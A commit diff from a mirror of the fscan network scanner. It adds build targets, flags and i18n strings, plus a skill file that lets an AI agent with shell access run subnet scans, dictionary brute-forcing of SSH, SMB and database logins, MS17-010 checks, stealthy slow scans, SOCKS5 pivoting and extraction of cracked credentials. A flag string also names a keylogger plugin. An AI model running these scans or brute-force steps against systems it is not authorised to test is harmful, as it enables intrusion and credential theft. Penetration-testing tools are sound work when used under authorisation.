mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-23 03:31:53 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7459da2b44 | ||
|
|
9d191889d0 | ||
|
|
2e277a51ed | ||
|
|
46e50a021f | ||
|
|
b32ce5dec8 | ||
|
|
2c2ca6ace3 |
@@ -16,7 +16,7 @@ builds:
|
|||||||
- CGO_ENABLED=0
|
- CGO_ENABLED=0
|
||||||
goos: [windows, linux, darwin, freebsd, solaris]
|
goos: [windows, linux, darwin, freebsd, solaris]
|
||||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||||
goarm: ["6", "7"]
|
goarm: ["5", "6", "7"]
|
||||||
gomips: [softfloat]
|
gomips: [softfloat]
|
||||||
ignore:
|
ignore:
|
||||||
- goos: darwin
|
- goos: darwin
|
||||||
@@ -69,7 +69,7 @@ builds:
|
|||||||
- CGO_ENABLED=0
|
- CGO_ENABLED=0
|
||||||
goos: [windows, linux, darwin, freebsd, solaris]
|
goos: [windows, linux, darwin, freebsd, solaris]
|
||||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||||
goarm: ["6", "7"]
|
goarm: ["5", "6", "7"]
|
||||||
gomips: [softfloat]
|
gomips: [softfloat]
|
||||||
ignore:
|
ignore:
|
||||||
- goos: darwin
|
- goos: darwin
|
||||||
@@ -231,10 +231,10 @@ release:
|
|||||||
|
|
||||||
| 平台 | 架构 |
|
| 平台 | 架构 |
|
||||||
|------|------|
|
|------|------|
|
||||||
| Linux | x64, x32, arm64, armv6, armv7, mips, mips64, mipsle |
|
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
|
||||||
| Windows | x64, x32 |
|
| Windows | x64, x32 |
|
||||||
| macOS | x64, arm64 |
|
| macOS | x64, arm64 |
|
||||||
| FreeBSD | x64, x32, arm64, armv6, armv7 |
|
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
|
||||||
| Solaris | x64 |
|
| Solaris | x64 |
|
||||||
footer: |
|
footer: |
|
||||||
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
|
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ permissions:
|
|||||||
jobs:
|
jobs:
|
||||||
release:
|
release:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
timeout-minutes: 45
|
timeout-minutes: 90
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- name: 检出代码
|
- name: 检出代码
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ name: 测试构建
|
|||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
branches:
|
branches:
|
||||||
|
- main
|
||||||
- dev
|
- dev
|
||||||
- dev-*
|
- dev-*
|
||||||
- develop
|
- develop
|
||||||
@@ -55,8 +56,8 @@ jobs:
|
|||||||
|
|
||||||
- name: 运行 golangci-lint
|
- name: 运行 golangci-lint
|
||||||
run: |
|
run: |
|
||||||
# 下载 golangci-lint v2
|
# 安装 golangci-lint v2
|
||||||
curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(go env GOPATH)/bin latest
|
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
|
||||||
|
|
||||||
# 运行检查并灵活处理结果
|
# 运行检查并灵活处理结果
|
||||||
set +e
|
set +e
|
||||||
|
|||||||
@@ -0,0 +1,304 @@
|
|||||||
|
---
|
||||||
|
name: fscan-agent
|
||||||
|
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
|
||||||
|
argument-hint: <目标IP/网段> [附加参数]
|
||||||
|
allowed-tools: Bash, Read, Agent
|
||||||
|
---
|
||||||
|
|
||||||
|
# Fscan AI Agent Skill
|
||||||
|
|
||||||
|
## 工具概述
|
||||||
|
|
||||||
|
Fscan 是一款内网综合扫描工具,功能包括:
|
||||||
|
- 主机存活探测(ICMP / TCP)
|
||||||
|
- 端口扫描与服务识别
|
||||||
|
- 漏洞检测(MS17-010、Redis 未授权等)
|
||||||
|
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
|
||||||
|
- Web 指纹识别与 POC 扫描
|
||||||
|
- NetBIOS / SMB 信息收集
|
||||||
|
- 本地信息收集(杀软检测、系统信息等)
|
||||||
|
|
||||||
|
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。
|
||||||
|
|
||||||
|
## 调用格式
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
|
||||||
|
fscan -h <目标> -silent [其他参数]
|
||||||
|
|
||||||
|
# 解析输出
|
||||||
|
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
|
||||||
|
```
|
||||||
|
|
||||||
|
## 核心参数
|
||||||
|
|
||||||
|
### 目标指定
|
||||||
|
|
||||||
|
| 参数 | 说明 | 示例 |
|
||||||
|
|------|------|------|
|
||||||
|
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
|
||||||
|
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
|
||||||
|
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
|
||||||
|
| `-ep` | 排除端口 | `-ep 25,110` |
|
||||||
|
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
|
||||||
|
| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` |
|
||||||
|
| `-uf` | URL 文件 | `-uf urls.txt` |
|
||||||
|
|
||||||
|
### 扫描控制
|
||||||
|
|
||||||
|
| 参数 | 说明 | 默认值 |
|
||||||
|
|------|------|--------|
|
||||||
|
| `-m` | 扫描模式 | `all` |
|
||||||
|
| `-t` | 端口扫描线程数 | `600` |
|
||||||
|
| `-mt` | 模块线程数 | `20` |
|
||||||
|
| `-time` | 连接超时(秒) | `3` |
|
||||||
|
| `-gt` | 全局超时(秒) | `180` |
|
||||||
|
| `-np` | 跳过存活检测 | `false` |
|
||||||
|
| `-ntp` | 禁用 TCP 补充探测 | `false` |
|
||||||
|
| `-ao` | 仅存活检测 | `false` |
|
||||||
|
| `-nobr` | 禁用暴力破解 | `false` |
|
||||||
|
| `-full` | 全量 POC 扫描 | `false` |
|
||||||
|
| `-max-retries` | 最大重试次数 | `1` |
|
||||||
|
|
||||||
|
### 认证
|
||||||
|
|
||||||
|
| 参数 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| `-user` | 用户名 |
|
||||||
|
| `-pwd` | 密码 |
|
||||||
|
| `-usera` | 追加用户名 |
|
||||||
|
| `-pwda` | 追加密码 |
|
||||||
|
| `-userf` | 用户名字典文件 |
|
||||||
|
| `-pwdf` | 密码字典文件 |
|
||||||
|
| `-domain` | 域名(SMB/WMI) |
|
||||||
|
| `-sshkey` | SSH 私钥文件 |
|
||||||
|
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
|
||||||
|
|
||||||
|
### 代理
|
||||||
|
|
||||||
|
| 参数 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
|
||||||
|
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
|
||||||
|
| `-iface` | 指定本地网卡 IP(VPN 场景) |
|
||||||
|
|
||||||
|
### 输出
|
||||||
|
|
||||||
|
| 参数 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
|
||||||
|
| `-o` | 输出文件路径(默认 `result.txt`) |
|
||||||
|
| `-f` | 输出格式:`txt` / `json` / `csv` |
|
||||||
|
| `-no` | 禁用文件保存 |
|
||||||
|
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
|
||||||
|
| `-log` | 日志级别(`debug` / `info` / `base` / `error`) |
|
||||||
|
|
||||||
|
### 扫描模式 `-m` 的取值
|
||||||
|
|
||||||
|
| 值 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| `all` | 全部扫描(默认) |
|
||||||
|
| `icmp` | 仅 ICMP 存活检测 |
|
||||||
|
| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) |
|
||||||
|
|
||||||
|
## 服务插件列表
|
||||||
|
|
||||||
|
| 插件 | 默认端口 | 功能 |
|
||||||
|
|------|----------|------|
|
||||||
|
| `ftp` | 21 | FTP 弱口令 |
|
||||||
|
| `ssh` | 22 | SSH 弱口令 |
|
||||||
|
| `telnet` | 23 | Telnet 弱口令 |
|
||||||
|
| `smtp` | 25 | SMTP 弱口令 |
|
||||||
|
| `findnet` | 135 | RPC 网络信息发现(NetInfo) |
|
||||||
|
| `netbios` | 139 | NetBIOS 信息收集 |
|
||||||
|
| `smb` | 445 | SMB 弱口令 |
|
||||||
|
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
|
||||||
|
| `ldap` | 389 | LDAP 弱口令 |
|
||||||
|
| `mssql` | 1433 | MSSQL 弱口令 |
|
||||||
|
| `oracle` | 1521 | Oracle 弱口令 |
|
||||||
|
| `mysql` | 3306 | MySQL 弱口令 |
|
||||||
|
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
|
||||||
|
| `postgresql` | 5432 | PostgreSQL 弱口令 |
|
||||||
|
| `vnc` | 5900 | VNC 弱口令 |
|
||||||
|
| `redis` | 6379 | Redis 未授权 + 弱口令 |
|
||||||
|
| `elasticsearch` | 9200 | ES 未授权 |
|
||||||
|
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
|
||||||
|
| `memcached` | 11211 | Memcached 未授权 |
|
||||||
|
| `kafka` | 9092 | Kafka 未授权 |
|
||||||
|
| `activemq` | 61616 | ActiveMQ 弱口令 |
|
||||||
|
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
|
||||||
|
| `cassandra` | 9042 | Cassandra 弱口令 |
|
||||||
|
| `neo4j` | 7687 | Neo4j 弱口令 |
|
||||||
|
| `rsync` | 873 | Rsync 未授权 |
|
||||||
|
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
|
||||||
|
| `webpoc` | 80/443 | Web 漏洞 POC |
|
||||||
|
|
||||||
|
## 本地插件(`-local`)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -local avdetect # 杀软检测
|
||||||
|
fscan -local systeminfo # 系统信息收集
|
||||||
|
fscan -local envinfo # 环境变量信息
|
||||||
|
fscan -local dcinfo # 域控信息
|
||||||
|
fscan -local fileinfo # 敏感文件搜索
|
||||||
|
```
|
||||||
|
|
||||||
|
## NDJSON 输出 Schema(`-silent` 模式)
|
||||||
|
|
||||||
|
每行一个 JSON 对象,所有字段定义:
|
||||||
|
|
||||||
|
| 字段 | 类型 | 出现条件 | 说明 |
|
||||||
|
|------|------|----------|------|
|
||||||
|
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
|
||||||
|
| `target` | string | 必有 | 原始目标 `host` 或 `host:port` |
|
||||||
|
| `status` | string | 必有 | 状态描述 |
|
||||||
|
| `host` | string | 必有 | IP 地址 |
|
||||||
|
| `port` | int | PORT/SERVICE/VULN | 端口号 |
|
||||||
|
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
|
||||||
|
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) |
|
||||||
|
| `banner` | string | SERVICE | 服务 Banner |
|
||||||
|
| `title` | string | SERVICE (web) | 网页标题 |
|
||||||
|
| `url` | string | SERVICE (web) | 完整 URL |
|
||||||
|
| `vulnerability` | string | VULN | 漏洞名称 |
|
||||||
|
| `username` | string | VULN (弱口令) | 用户名 |
|
||||||
|
| `password` | string | VULN (弱口令) | 密码 |
|
||||||
|
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
|
||||||
|
| `version` | string | SERVICE | 服务版本号 |
|
||||||
|
| `os` | string | SERVICE | 操作系统信息 |
|
||||||
|
|
||||||
|
### 输出示例
|
||||||
|
|
||||||
|
```jsonl
|
||||||
|
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
|
||||||
|
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
|
||||||
|
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
|
||||||
|
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
|
||||||
|
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
|
||||||
|
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
|
||||||
|
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
|
||||||
|
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 结果产出顺序
|
||||||
|
|
||||||
|
1. `HOST` — 存活探测阶段
|
||||||
|
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
|
||||||
|
3. `SERVICE` — 服务识别阶段
|
||||||
|
4. `VULN` — 漏洞/弱口令检测阶段
|
||||||
|
|
||||||
|
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
|
||||||
|
|
||||||
|
## 常用场景参数组合
|
||||||
|
|
||||||
|
### 全网段快速扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 192.168.1.0/24 -silent
|
||||||
|
```
|
||||||
|
|
||||||
|
### 跳过存活检测直接扫端口(目标明确时)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 192.168.1.0/24 -silent -np
|
||||||
|
```
|
||||||
|
|
||||||
|
### 指定端口精确扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
|
||||||
|
```
|
||||||
|
|
||||||
|
### 仅存活探测
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 172.16.0.0/16 -silent -m icmp
|
||||||
|
```
|
||||||
|
|
||||||
|
### 低速隐蔽扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
|
||||||
|
```
|
||||||
|
|
||||||
|
### 通过 SOCKS5 代理扫描内网
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
|
||||||
|
```
|
||||||
|
|
||||||
|
### 仅做弱口令检测
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
### Web 目标扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -u https://target.com -silent -full
|
||||||
|
```
|
||||||
|
|
||||||
|
### 多目标文件批量扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -hf targets.txt -silent -o results.json -f json
|
||||||
|
```
|
||||||
|
|
||||||
|
### 带调试日志的排障扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# NDJSON 到 stdout,debug 日志到文件,互不干扰
|
||||||
|
fscan -h 192.168.1.0/24 -silent -debug
|
||||||
|
# 事后查看:cat fscan_debug.log
|
||||||
|
```
|
||||||
|
|
||||||
|
## AI Agent 结果处理
|
||||||
|
|
||||||
|
### Python 管道消费
|
||||||
|
|
||||||
|
```python
|
||||||
|
import json, subprocess
|
||||||
|
|
||||||
|
proc = subprocess.Popen(
|
||||||
|
["fscan", "-h", "192.168.1.0/24", "-silent"],
|
||||||
|
stdout=subprocess.PIPE, text=True
|
||||||
|
)
|
||||||
|
|
||||||
|
hosts, services, vulns = [], [], []
|
||||||
|
for line in proc.stdout:
|
||||||
|
r = json.loads(line)
|
||||||
|
if r["type"] == "HOST":
|
||||||
|
hosts.append(r["host"])
|
||||||
|
elif r["type"] == "SERVICE":
|
||||||
|
services.append(r)
|
||||||
|
elif r["type"] == "VULN":
|
||||||
|
vulns.append(r)
|
||||||
|
|
||||||
|
proc.wait()
|
||||||
|
```
|
||||||
|
|
||||||
|
### jq 过滤
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 提取所有弱口令
|
||||||
|
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
|
||||||
|
|
||||||
|
# 提取所有漏洞
|
||||||
|
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
|
||||||
|
|
||||||
|
# 提取 Web 服务
|
||||||
|
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
|
||||||
|
|
||||||
|
# 统计开放端口
|
||||||
|
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
|
||||||
|
```
|
||||||
|
|
||||||
|
## 注意事项
|
||||||
|
|
||||||
|
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
|
||||||
|
- 空字段不出现在 JSON 中(`omitempty`)
|
||||||
|
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
|
||||||
|
- `-silent` 和 `-debug` 可同时使用,互不干扰
|
||||||
|
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
|
||||||
|
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
|
||||||
|
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
|
||||||
@@ -100,6 +100,8 @@ func parseUsernames(fv *FlagVars) []string {
|
|||||||
if fv.UsersFile != "" {
|
if fv.UsersFile != "" {
|
||||||
if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
|
if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
|
||||||
usernames = append(usernames, lines...)
|
usernames = append(usernames, lines...)
|
||||||
|
} else {
|
||||||
|
LogError(fmt.Sprintf("读取用户名文件 %s 失败: %v", fv.UsersFile, err))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -128,6 +130,8 @@ func parsePasswords(fv *FlagVars) []string {
|
|||||||
if fv.PasswordsFile != "" {
|
if fv.PasswordsFile != "" {
|
||||||
if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
|
if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
|
||||||
passwords = append(passwords, lines...)
|
passwords = append(passwords, lines...)
|
||||||
|
} else {
|
||||||
|
LogError(fmt.Sprintf("读取密码文件 %s 失败: %v", fv.PasswordsFile, err))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -246,6 +250,8 @@ func parseURLs(fv *FlagVars) []string {
|
|||||||
for _, line := range lines {
|
for _, line := range lines {
|
||||||
urls = append(urls, normalizeURL(line))
|
urls = append(urls, normalizeURL(line))
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
LogError(fmt.Sprintf("读取URL文件 %s 失败: %v", fv.URLsFile, err))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ type Config struct {
|
|||||||
ModuleThreadNum int // 模块线程数
|
ModuleThreadNum int // 模块线程数
|
||||||
DisableBrute bool // 禁用暴力破解
|
DisableBrute bool // 禁用暴力破解
|
||||||
DisablePing bool // 禁用Ping检测
|
DisablePing bool // 禁用Ping检测
|
||||||
|
DisableTcpProbe bool // 禁用TCP补充探测
|
||||||
|
|
||||||
// 扫描模式
|
// 扫描模式
|
||||||
Mode string // 扫描模式
|
Mode string // 扫描模式
|
||||||
@@ -147,6 +148,7 @@ func NewConfig() *Config {
|
|||||||
ModuleThreadNum: 10,
|
ModuleThreadNum: 10,
|
||||||
DisableBrute: false,
|
DisableBrute: false,
|
||||||
DisablePing: false,
|
DisablePing: false,
|
||||||
|
DisableTcpProbe: false,
|
||||||
|
|
||||||
// 扫描模式
|
// 扫描模式
|
||||||
Mode: DefaultScanMode,
|
Mode: DefaultScanMode,
|
||||||
|
|||||||
@@ -0,0 +1,28 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DNSCache 并发安全的 DNS 解析缓存
|
||||||
|
// 对纯 IP 输入零开销(直接返回),对域名避免重复系统调用
|
||||||
|
var DNSCache = &dnsCache{}
|
||||||
|
|
||||||
|
type dnsCache struct {
|
||||||
|
m sync.Map // host -> *net.IPAddr
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveIP 解析 host 为 *net.IPAddr,结果缓存
|
||||||
|
func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) {
|
||||||
|
if v, ok := c.m.Load(host); ok {
|
||||||
|
addr, _ := v.(*net.IPAddr)
|
||||||
|
return addr, nil
|
||||||
|
}
|
||||||
|
addr, err := net.ResolveIPAddr("ip", host)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
c.m.Store(host, addr)
|
||||||
|
return addr, nil
|
||||||
|
}
|
||||||
@@ -109,6 +109,7 @@ func Flag(Info *HostInfo) error {
|
|||||||
flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
|
flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
|
||||||
flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
|
flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
|
||||||
flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||||
|
flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe"))
|
||||||
flag.StringVar(&fv.LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)")
|
flag.StringVar(&fv.LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)")
|
||||||
flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
||||||
|
|
||||||
@@ -181,6 +182,7 @@ func Flag(Info *HostInfo) error {
|
|||||||
flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode"))
|
flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode"))
|
||||||
flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
|
flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
|
||||||
flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
|
flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
|
||||||
|
flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug"))
|
||||||
flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
|
flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
|
||||||
flag.BoolVar(&fv.PerfStats, "perf", false, "输出性能统计JSON")
|
flag.BoolVar(&fv.PerfStats, "perf", false, "输出性能统计JSON")
|
||||||
|
|
||||||
@@ -284,6 +286,11 @@ func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool {
|
|||||||
func checkParameterConflicts() error {
|
func checkParameterConflicts() error {
|
||||||
fv := flagVars
|
fv := flagVars
|
||||||
|
|
||||||
|
// -debug 等价于 -log debug
|
||||||
|
if fv.Debug {
|
||||||
|
fv.LogLevel = LogLevelDebug
|
||||||
|
}
|
||||||
|
|
||||||
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
|
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
|
||||||
if fv.AliveOnly && fv.ScanMode == "icmp" {
|
if fv.AliveOnly && fv.ScanMode == "icmp" {
|
||||||
LogInfo(i18n.GetText("param_conflict_ao_icmp_both"))
|
LogInfo(i18n.GetText("param_conflict_ao_icmp_both"))
|
||||||
|
|||||||
@@ -36,6 +36,7 @@ type FlagVars struct {
|
|||||||
TimeoutSec int64 // 秒,需转换为 time.Duration
|
TimeoutSec int64 // 秒,需转换为 time.Duration
|
||||||
GlobalTimeout int64
|
GlobalTimeout int64
|
||||||
DisablePing bool
|
DisablePing bool
|
||||||
|
DisableTcpProbe bool
|
||||||
LocalPlugin string
|
LocalPlugin string
|
||||||
AliveOnly bool
|
AliveOnly bool
|
||||||
DisableBrute bool
|
DisableBrute bool
|
||||||
@@ -94,6 +95,7 @@ type FlagVars struct {
|
|||||||
Silent bool
|
Silent bool
|
||||||
NoColor bool
|
NoColor bool
|
||||||
LogLevel string
|
LogLevel string
|
||||||
|
Debug bool
|
||||||
DisableProgress bool
|
DisableProgress bool
|
||||||
PerfStats bool
|
PerfStats bool
|
||||||
Language string
|
Language string
|
||||||
@@ -137,6 +139,7 @@ func BuildConfigFromFlags(fv *FlagVars) *Config {
|
|||||||
ModuleThreadNum: fv.ModuleThreadNum,
|
ModuleThreadNum: fv.ModuleThreadNum,
|
||||||
DisableBrute: fv.DisableBrute,
|
DisableBrute: fv.DisableBrute,
|
||||||
DisablePing: fv.DisablePing,
|
DisablePing: fv.DisablePing,
|
||||||
|
DisableTcpProbe: fv.DisableTcpProbe,
|
||||||
|
|
||||||
// 扫描模式
|
// 扫描模式
|
||||||
Mode: fv.ScanMode,
|
Mode: fv.ScanMode,
|
||||||
|
|||||||
+1
-1
@@ -62,7 +62,7 @@ const (
|
|||||||
|
|
||||||
// 版本信息,通过 ldflags 注入
|
// 版本信息,通过 ldflags 注入
|
||||||
var (
|
var (
|
||||||
version = "2.1.2"
|
version = "2.1.3"
|
||||||
commit = "unknown"
|
commit = "unknown"
|
||||||
date = "unknown"
|
date = "unknown"
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -28,6 +28,10 @@ flag_global_timeout:
|
|||||||
other: "Global timeout"
|
other: "Global timeout"
|
||||||
flag_disable_ping:
|
flag_disable_ping:
|
||||||
other: "Disable ping detection"
|
other: "Disable ping detection"
|
||||||
|
flag_disable_tcp_probe:
|
||||||
|
other: "Disable TCP supplementary probe"
|
||||||
|
flag_debug:
|
||||||
|
other: "Enable debug mode, write logs to fscan_debug.log"
|
||||||
flag_alive_only:
|
flag_alive_only:
|
||||||
other: "Alive detection only"
|
other: "Alive detection only"
|
||||||
flag_username:
|
flag_username:
|
||||||
@@ -341,6 +345,8 @@ port_open:
|
|||||||
other: "Port open {{.Arg1}}"
|
other: "Port open {{.Arg1}}"
|
||||||
port_open_http:
|
port_open_http:
|
||||||
other: "Port open {{.Arg1}} [http](HTTP probe)"
|
other: "Port open {{.Arg1}} [http](HTTP probe)"
|
||||||
|
port_scan_no_alive_subnet:
|
||||||
|
other: "Subnet probe found no alive subnets, skipping port scan"
|
||||||
|
|
||||||
# ========================= Local Scan Messages =========================
|
# ========================= Local Scan Messages =========================
|
||||||
local_plugin_info:
|
local_plugin_info:
|
||||||
@@ -426,6 +432,8 @@ telnet_unauth_rce:
|
|||||||
other: "Telnet {{.Arg1}} unauthorized RCE [{{.Arg2}}] {{.Arg3}}"
|
other: "Telnet {{.Arg1}} unauthorized RCE [{{.Arg2}}] {{.Arg3}}"
|
||||||
telnet_credential_rce:
|
telnet_credential_rce:
|
||||||
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} RCE verified [{{.Arg4}}] {{.Arg5}}"
|
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} RCE verified [{{.Arg4}}] {{.Arg5}}"
|
||||||
|
telnet_cve202624061:
|
||||||
|
other: "Telnet {{.Arg1}} CVE-2026-24061 Telnetd Authentication Bypass (user: {{.Arg2}}) {{.Arg3}}"
|
||||||
cassandra_credential:
|
cassandra_credential:
|
||||||
other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||||
cassandra_service:
|
cassandra_service:
|
||||||
|
|||||||
@@ -28,6 +28,10 @@ flag_global_timeout:
|
|||||||
other: "全局超时时间"
|
other: "全局超时时间"
|
||||||
flag_disable_ping:
|
flag_disable_ping:
|
||||||
other: "禁用ping探测"
|
other: "禁用ping探测"
|
||||||
|
